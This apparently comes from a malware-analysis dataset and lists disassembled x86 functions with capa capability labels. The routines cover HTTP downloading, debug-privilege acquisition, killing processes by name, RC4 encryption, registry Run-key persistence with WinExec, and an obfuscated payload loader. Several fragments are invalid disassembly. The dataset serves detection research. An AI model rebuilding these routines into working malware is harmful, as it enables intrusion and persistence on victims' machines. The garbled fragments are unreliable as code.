joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401430
Capabilities:
Create http request
Read data from internet
Receive data

Disassembly:
sub esp, 0x6c
push ebx
push ebp
push esi
xor ebx, ebx
push edi
push ebx
push ebx
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x20]
push ebx
push ebx
rep stosd dword es:[edi], eax
push str.myBillAll
mov dword [esp + 0x24], ebx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov esi, eax
cmp esi, ebx
mov dword [esp + 0x14], esi
jne 0x40146d
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x6c
ret
mov eax, dword [esp + 0x80]
push ebx
push SysReAllocString
push ebx
push ebx
push eax
push esi
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov ebp, eax
cmp ebp, ebx
jne 0x40149b
push esi
call dword [sym.imp.WININET.dll_InternetCloseHandle]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x6c
ret
mov ecx, 0x19
xor eax, eax
lea edi, [esp + 0x18]
lea edx, [esp + 0x18]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x10]
push ecx
push 0x64
push edx
push ebp
call dword [sym.imp.WININET.dll_InternetReadFile]
mov ecx, dword [esp + 0x10]
test ecx, ecx
je 0x4014eb
mov eax, dword [esp + 0x84]
mov edx, ecx
lea esi, [esp + 0x18]
lea edi, [ebx + eax]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x10]
mov esi, dword [esp + 0x14]
add ebx, eax
jmp 0x40149b
mov edi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push ebp
call edi
push esi
call edi
mov eax, dword [esp + 0x88]
pop edi
pop esi
pop ebp
mov dword [eax], ebx
mov eax, 1
pop ebx
add esp, 0x6c
ret

Function at 0x401510
Capabilities:
Acquire debug privileges

Disassembly:
sub esp, 0x1c
lea eax, [esp]
push eax
push 0x28
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x401584
lea ecx, [esp + 4]
push ecx
push str.SeDebugPrivilege
push 0
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
push 0
push 0
lea ecx, [esp + 0x14]
mov dword [esp + 0x18], edx
mov edx, dword [esp + 8]
push 0x10
push ecx
push 0
push edx
mov dword [esp + 0x24], 1
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.dll_GetLastError]
neg eax
sbb eax, eax
inc eax
add esp, 0x1c
ret
xor eax, eax
add esp, 0x1c
ret
Function at 0x4019a0
Capabilities:
Enumerate process modules
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push 0xffffffffffffffff
push 0x427273
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x240
push ebp
push esi
push edi
mov dword [esp + 0x254], 0
call fcn.00401510
push 0
push 2
mov dword [esp + 0x24], 0x128
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
mov dword [esp + 0x10], esi
je 0x401ac9
lea eax, [esp + 0x1c]
push eax
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x401ac2
mov ebp, dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [esp + 0x24]
push ecx
push 0
push 0x1f0fff
call ebp
lea edx, [esp + 0x18]
mov esi, eax
push edx
lea eax, [esp + 0x18]
push 4
push eax
push esi
call sub.PSAPI.DLL_EnumProcessModules
mov edx, dword [esp + 0x14]
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x144]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x144]
push 0x105
push ecx
push edx
push esi
stosb byte es:[edi], al
call sub.PSAPI.DLL_GetModuleFileNameExA
lea eax, [esp + 0x144]
lea ecx, [esp + 0xc]
push eax
call fcn.0041d7be
lea ecx, [esp + 0xc]
mov byte [esp + 0x254], 1
call fcn.0041d9d8
mov ecx, dword [esp + 0xc]
mov eax, dword [ecx - 8]
test eax, eax
jle 0x401a94
mov edx, dword [esp + 0x25c]
lea ecx, [esp + 0xc]
push edx
call fcn.0041b421
test eax, eax
jge 0x401afa
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0x1c]
push eax
push ecx
call sub.KERNEL32.dll_Process32Next
lea ecx, [esp + 0xc]
mov esi, eax
mov byte [esp + 0x254], 0
call fcn.0041d750
test esi, esi
jne 0x401a07
mov esi, dword [esp + 0x10]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x25c]
mov dword [esp + 0x254], 0xffffffff
call fcn.0041d750
xor eax, eax
mov ecx, dword [esp + 0x24c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x24c
ret
mov edx, dword [esp + 0x24]
push edx
push 0
push 1
call ebp
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0xc]
mov byte [esp + 0x254], 0
call fcn.0041d750
lea ecx, [esp + 0x25c]
mov dword [esp + 0x254], 0xffffffff
call fcn.0041d750
mov eax, 1
jmp 0x401ae2
Function at 0x401b60
Capabilities:
Encode data using base64

Disassembly:
sub esp, 0xc
mov eax, dword [esp + 0x18]
push ebx
push ebp
push esi
push edi
xor edi, edi
xor esi, esi
cmp eax, edi
mov dword [esp + 0x10], edi
jbe 0x401c9a
mov ebp, dword [esp + 0x20]
mov eax, dword [esp + 0x24]
inc edi
mov bl, byte [edi + eax - 1]
mov cl, bl
mov byte [esp + 0x20], bl
shr cl, 2
mov byte [esp + 0x14], cl
mov edx, dword [esp + 0x14]
push edx
call fcn.00401b50
mov byte [esi + ebp], al
mov eax, dword [esp + 0x2c]
add esp, 4
inc esi
cmp edi, eax
jae 0x401c6f
mov eax, dword [esp + 0x24]
inc edi
mov bl, byte [edi + eax - 1]
mov al, byte [esp + 0x20]
and al, 3
mov cl, bl
shl al, 4
shr cl, 4
add al, cl
mov byte [esp + 0x15], al
mov edx, dword [esp + 0x15]
push edx
call fcn.00401b50
mov byte [esi + ebp], al
mov eax, dword [esp + 0x2c]
add esp, 4
inc esi
cmp edi, eax
jae 0x401c49
mov eax, dword [esp + 0x24]
and bl, 0xf
shl bl, 2
mov al, byte [edi + eax]
inc edi
mov byte [esp + 0x22], al
shr al, 6
add bl, al
mov byte [esp + 0x16], bl
mov ecx, dword [esp + 0x16]
push ecx
call fcn.00401b50
mov byte [esi + ebp], al
mov al, byte [esp + 0x26]
and al, 0x3f
inc esi
push eax
call fcn.00401b50
mov ecx, dword [esp + 0x30]
mov byte [esi + ebp], al
mov eax, dword [esp + 0x18]
add esp, 8
add eax, 3
inc esi
cmp eax, ecx
mov dword [esp + 0x10], eax
jb 0x401b7f
mov byte [esi + ebp], 0
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
and bl, 0xf
shl bl, 2
push ebx
call fcn.00401b50
add esp, 4
mov byte [esi + ebp], al
inc esi
pop edi
mov byte [esi + ebp], 0x3d
inc esi
mov eax, esi
mov byte [esi + ebp], 0
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
and bl, 3
shl bl, 4
push ebx
call fcn.00401b50
add esp, 4
mov byte [esi + ebp], al
inc esi
pop edi
mov byte [esi + ebp], 0x3d
inc esi
mov byte [esi + ebp], 0x3d
inc esi
mov eax, esi
mov byte [esi + ebp], 0
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
mov edx, dword [esp + 0x20]
mov eax, esi
pop edi
mov byte [esi + edx], 0
pop esi
pop ebp
pop ebx
add esp, 0xc
ret
Function at 0x4024b0
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using rc4 via winapi
Encrypt or decrypt via wincrypt
Hash data via wincrypt
Hash data with md5
Initialize hashing via wincrypt

Disassembly:
sub esp, 0x260
push ebx
push esi
push edi
mov esi, dword [esp + 0x27c]
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x25]
mov byte [esp + 0x24], 0
rep stosd dword es:[edi], eax
mov edi, esi
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edi, [esp + 0x24]
mov eax, ecx
xor ebx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
push ebx
and ecx, 3
push 1
rep movsb byte es:[edi], byte [esi]
mov esi, dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
push ebx
lea ecx, [esp + 0x1c]
push ebx
push ecx
call esi
test eax, eax
jne 0x402513
push 8
push 1
push ebx
lea edx, [esp + 0x1c]
push ebx
push edx
call esi
mov ecx, dword [esp + 0x10]
lea eax, [esp + 0xc]
push eax
push ebx
push ebx
push 0x8003
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
mov eax, dword [esp + 0xc]
push ebx
lea edx, [esp + 0x28]
push 0x40
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
mov edx, dword [esp + 0xc]
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x1c]
push ecx
push 0x800000
push edx
push 0x6801
push eax
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
mov ecx, dword [esp + 0xc]
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x69]
mov byte [esp + 0x68], 0
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x278]
mov dword [esp + 0xc], ebx
cmp eax, ebx
mov dword [esp + 0x14], ebx
mov dword [esp + 0x20], 0x200
jle 0x402626
mov edx, dword [esp + 0x270]
push ebp
mov ebp, dword [esp + 0x278]
sub edx, ebp
mov dword [esp + 0x1c], edx
jmp 0x4025b3
mov edx, dword [esp + 0x1c]
mov ecx, 0x80
xor eax, eax
lea edi, [esp + 0x6c]
rep stosd dword es:[edi], eax
stosb byte es:[edi], al
mov eax, dword [esp + 0x27c]
dec eax
cmp ebx, eax
jne 0x4025d5
mov dword [esp + 0x18], 1
mov eax, dword [esp + 0x18]
lea esi, [edx + ebp]
mov ecx, 0x80
lea edi, [esp + 0x6c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x24]
push 0x200
lea edx, [esp + 0x70]
push ecx
mov ecx, dword [esp + 0x28]
push edx
push 0
push eax
push 0
push ecx
call dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
mov eax, dword [esp + 0x27c]
mov edi, ebp
inc ebx
mov ecx, 0x80
lea esi, [esp + 0x6c]
add ebp, 0x200
cmp ebx, eax
rep movsd dword es:[edi], dword [esi]
jl 0x4025af
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x260
ret
Function at 0x405080
Capabilities:
Copy file
Create process on windows
Persist via run registry key
Set registry value

Disassembly:
sub esp, 0x428
push ebx
mov ebx, ecx
mov ecx, dword [0x4355b8]
push ebp
mov eax, dword [ebx + 0x5c]
push esi
push edi
push 0
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x39]
mov byte [esp + 0x38], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [ebx + 0x5c]
lea edi, [esp + 0x38]
mov esi, eax
mov ebp, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
mov ecx, dword [eax - 8]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [eax - 8]
lea eax, [esp + 0x18]
lea ecx, [esp + 0x14]
push eax
push ecx
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareWow6432NodeMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
inc esi
mov dword [esp + 0x3c], 2
call ebp
test eax, eax
jne 0x405128
lea edx, [esp + 0x38]
push esi
push edx
push 1
push eax
mov eax, dword [esp + 0x24]
push str.xjkRun
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x14]
mov edi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call edi
lea edx, [esp + 0x18]
lea eax, [esp + 0x10]
push edx
push eax
push 0
push 0xf003f
push 0
push 0
push 0
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call ebp
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x38]
push esi
push ecx
push 1
push 0
push str.xjkRun
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
push eax
call edi
mov esi, dword [sym.imp.USER32.dll_PeekMessageA]
push 1
push 0
push 0
lea ecx, [esp + 0x28]
push 0
push ecx
call esi
test eax, eax
je 0x4051bf
mov edi, dword [sym.imp.USER32.dll_TranslateMessage]
mov ebp, dword [sym.imp.USER32.dll_DispatchMessageA]
lea edx, [esp + 0x1c]
push edx
call edi
lea eax, [esp + 0x1c]
push eax
call ebp
push 1
push 0
push 0
lea ecx, [esp + 0x28]
push 0
push ecx
call esi
test eax, eax
jne 0x40519e
push 0x1f4
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edx, dword [ebx + 0x5c]
push 0
push edx
call dword [sym.imp.KERNEL32.dll_WinExec]
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x428
ret

Function at 0x405360
Capabilities:
Hash data with md5

Disassembly:
xor eax, eax
mov dword [ecx], 0x67452301
mov byte [ecx + 0x68], al
mov dword [ecx + 0x14], eax
mov dword [ecx + 0x10], eax
mov dword [ecx + 4], 0xefcdab89
mov dword [ecx + 8], 0x98badcfe
mov dword [ecx + 0xc], 0x10325476
ret
Function at 0x41aa50
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov esi, dword [ebp + 0x10]
push 0xf00021
mov edx, dword [esi + 4]
mov ecx, dword [esi]
mov eax, dword [esi + 0xc]
sub eax, edx
push eax
mov eax, dword [esi + 8]
sub eax, ecx
push eax
push edx
push ecx
mov ecx, dword [ebp + 0xc]
push ecx
call dword [sym.imp.GDI32.dll_PatBlt]
mov edi, dword [ebp + 8]
push edi
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
mov ebx, eax
lea eax, [eax + 5]
add eax, 3
and eax, 0xfffffffc
call fcn.0040de70
mov dword [ebp - 4], esp
cmp dword [ebp - 4], 0
je 0x41ab1b
add ebx, 2
mov eax, dword [ebp - 4]
push ebx
push eax
push edi
call dword [sym.imp.USER32.dll_GetWindowTextA]
test eax, eax
je 0x41ab1b
mov bx, 0x140
mov edi, dword [ebp + 0x14]
mov eax, edi
and al, 0xf
cmp al, 0xc
je 0x41aace
mov ebx, edi
and bx, 0xf
or bx, 0x150
test edi, 0x80
je 0x41aad9
or bh, 8
and edi, 0x8000000
je 0x41aaf4
mov eax, dword [0x44481c]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
movzx eax, bx
push eax
push esi
push 0xffffffffffffffff
push ecx
push edx
call dword [sym.imp.USER32.dll_DrawTextA]
test edi, edi
je 0x41ab1b
mov eax, dword [ebp - 8]
mov ecx, dword [ebp + 0xc]
push eax
push ecx
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esp, [ebp - 0x14]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41aef0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 8]
sub esp, 4
push ebx
push esi
mov esi, dword [esp + 0x10]
push edi
push ebp
push 2
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
mov edi, eax
test edi, edi
jne 0x41af1b
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push edi
push esi
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ebx, eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov esi, eax
test esi, esi
jne 0x41af3f
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
push ebx
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov ebp, eax
test ebp, ebp
jne 0x41af5a
xor eax, eax
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
mov edi, ebp
mov ecx, ebx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [esp + 0x20]
xor ecx, ecx
mov cl, ah
mov edx, eax
mov dword [esp + 0x10], 0
shl ecx, 8
shr edx, 0x10
mov byte [esp + 0x10], dl
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x28]
or ecx, edx
mov edx, eax
shr edx, 0x10
mov dword [ebp + 0x28], ecx
mov dword [esp + 0x10], 0
xor ecx, ecx
mov byte [esp + 0x10], dl
mov cl, ah
xor edx, edx
shl ecx, 8
mov dl, al
shl edx, 0x10
or ecx, dword [esp + 0x10]
or ecx, edx
mov eax, dword [esp + 0x24]
mov edx, eax
mov dword [ebp + 0x44], ecx
shr edx, 0x10
xor ecx, ecx
mov dword [esp + 0x10], 0
mov cl, ah
mov byte [esp + 0x10], dl
shl ecx, 8
xor edx, edx
or ecx, dword [esp + 0x10]
mov dl, al
shl edx, 0x10
mov eax, dword [esp + 0x2c]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x48], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x30]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x64], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
mov eax, dword [esp + 0x34]
or ecx, edx
xor edx, edx
mov dl, al
mov dword [ebp + 0x54], ecx
shl edx, 0x10
xor ecx, ecx
mov cl, ah
shl ecx, 8
push 0
shr eax, 0x10
or ecx, edx
xor edx, edx
mov dl, al
or ecx, edx
mov dword [ebp + 0x50], ecx
call dword [sym.imp.USER32.dll_GetDC]
mov edi, eax
push 0
push ebp
lea ecx, [ebp + 0x68]
push ecx
push 4
push ebp
push edi
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
mov esi, eax
push edi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push ebp
call dword [sym.imp.KERNEL32.dll_GlobalFree]
mov eax, esi
pop ebp
pop edi
pop esi
pop ebx
add esp, 4
ret 0x20
Function at 0x41fe61
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x41fea3
call fcn.004242f4
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x41fea3
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x41fe9a
xor eax, eax
jmp 0x41feab
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.0041feb1
pop edi
pop esi
pop ebx
ret 4

Function at 0x4249e2
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x424a10
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x424a2e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00424948
jmp 0x424a2e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x424a2e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.00424948
test edi, edi
mov eax, edi
jne 0x424a18
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x1000178c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
pushal
call 0x1000179b
pop dword [ebp - 0x40]
mov eax, 0x1000179b
sub dword [ebp - 0x40], eax
mov dword [ebp - 0x50], 0x1d92a4ec
add dword [ebp - 0x50], 0x30bfa05f
mov dword [ebp - 0x4c], 0xaf3dff87
add dword [ebp - 0x4c], 0x82f54cbe
mov dword [ebp - 0x48], 0xef152784
sub dword [ebp - 0x48], 0xa2c8e356
mov dword [ebp - 0x44], 0xe4462db2
add dword [ebp - 0x44], 0x1bb9d24e
lea eax, [ebp - 0x50]
push eax
mov eax, 0xcbbb0373
add eax, 0x4445ed19
add eax, dword [ebp - 0x40]
call dword [eax]
mov dword [ebp - 0x50], 0xfaa2b27b
add dword [ebp - 0x50], 0x79cfb6db
mov dword [ebp - 0x4c], 0x8dec2b6
sub dword [ebp - 0x4c], 0xc7726141
mov dword [ebp - 0x48], 0x868c0854
sub dword [ebp - 0x48], 0x231c9be8
mov dword [ebp - 0x44], 0x56c4e55e
sub dword [ebp - 0x44], 0x56c4e55e
lea ebx, [ebp - 0x50]
push ebx
push eax
mov eax, 0x99dee912
sub eax, 0x89ddf8ce
add eax, dword [ebp - 0x40]
call dword [eax]
push 0x40
push 0x1000
push 0x34f54
push 0
call eax
mov ecx, 0x5b97d01
add ecx, 0xfa46bbda
mov edx, eax
mov ebx, 0xb67623d1
sub ebx, 0xa6747fd1
add ebx, dword [ebp - 0x40]
mov esi, 0xa76dabe5
add esi, 0x350418b1
xor dword [ebp - 0xc], esi
mov edi, dword [ebx]
sub dword [ebp - 0x28], edi
xor edi, esi
xor dword [ebp - 0x34], 0x832ced6f
mov dword [edx], edi
sub dword [ebp - 0xc], 0x5c2b4359
add edx, 0x9dac1a03
add edx, 0x6253e601
add ebx, 0x7cb9a69a
add ebx, 0x8346596a
loop 0x100018b8
add eax, 0xf0cc96c4
sub eax, 0xf0cbc085
mov ebx, eax
add eax, 0xf94dc5ef
sub eax, 0xf94dc5ea
mov ecx, 0x10000000
add ecx, dword [ebp - 0x40]
call ebx
leave
ret
Function at 0x1004f5b0
Capabilities:
Encode data using xor

Disassembly:
call 0xd45d0b64
sti
push ds
dec esi
pop es
xor eax, 0xa16eac7d
push edi
salc
mov ch, 0x8c
push esp
mov ebp, 0xe7c05095
mov ch, byte [eax + edi*8]
test byte [ebx + 0x5386e38d], 0xa8
test al, 0xa5
test al, 0xa5
mov bh, 0x24
pop esp
scasb al, byte es:[edi]
js 0x1004f595
push esp
pop ecx
test eax, 0xfc1fd46e
add dword [edx - 0x51], eax
xchg dword [ecx + 0x7e], ebx
sqrtps xmm3, xmmword [esi + esi*8 + 0x689875bd]
sar dword [ecx + 0x65], 1
popfd
cmc
push esi
loopne 0x1004f643
mov dl, 0x3d
outsd dx, dword [esi]
aaa
das
jge 0x1004f57a
invalid

Function at 0x1004f900
Capabilities:
Encode data using xor

Disassembly:
movsd dword es:[edi], dword [esi]
inc ebx
push ds
pushfd
div ebx
cwde
sti
xchg esi, eax
ja 0x1004f97d
mov esi, 0x1c3f427f
mov ebp, 0xbace0539
mov edx, 0x8bc04509
add bh, 0x30
bound ebp, qword [esi]
xor byte [edx + 0x2e], ah
pop edx
mov eax, 0x360c057b
dec edi
aaa
wait
out dx, eax
mov eax, 0xd2c2fdb4
xor byte [edx - 0x1afee9af], dh
add ebp, esp
jbe 0x1004f91a
xchg ebp, eax
jo 0x1004f8c9
mov ch, 0xaf
and eax, 0x1955b1c3
sbb cl, ah
dec eax
enter 0x2a8c, 0x4d
mov ebx, 0x46c100c8
aad 0x26
out dx, eax

Function at 0x106a7053
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x106a1140]
jne 0x106a705d
repz ret
jmp fcn.106a72df
Function at 0x106abfeb
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x106a1140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.106a7a36
and dword [ebp - 0x14], 0
cmp dword [0x106a4acc], 0
mov dword [ebp - 0x18], eax
jne 0x106ac09e
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x106ac146
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x106ac146
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x106a4acc], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x106a4ad0], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x106a4ad4], eax
call edi
push eax
call esi
mov dword [0x106a4adc], eax
test eax, eax
je 0x106ac09e
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x106a4ad8], eax
mov eax, dword [0x106a4ad8]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0x106ac0f7
cmp dword [0x106a4adc], ecx
je 0x106ac0f7
push eax
call esi
push dword [0x106a4adc]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x106ac0f7
test ebx, ebx
je 0x106ac0f7
call edi
test eax, eax
je 0x106ac0ee
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x106ac0ee
test byte [ebp - 8], 1
jne 0x106ac0f7
or dword [ebp + 0x10], 0x200000
jmp 0x106ac12a
mov eax, dword [0x106a4ad0]
cmp eax, dword [ebp - 0x18]
je 0x106ac12a
push eax
call esi
test eax, eax
je 0x106ac12a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x106ac12a
mov eax, dword [0x106a4ad4]
cmp eax, dword [ebp - 0x18]
je 0x106ac12a
push eax
call esi
test eax, eax
je 0x106ac12a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x106a4acc]
call esi
test eax, eax
je 0x106ac146
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x106ac148
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.106a7053
leave
ret
Function at 0x1000ee13
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x1000ee52
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1000ee52
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1000ee52
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x1000ee52
cmp dword [ecx + 0x74], 0xe
jbe 0x1000ee52
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret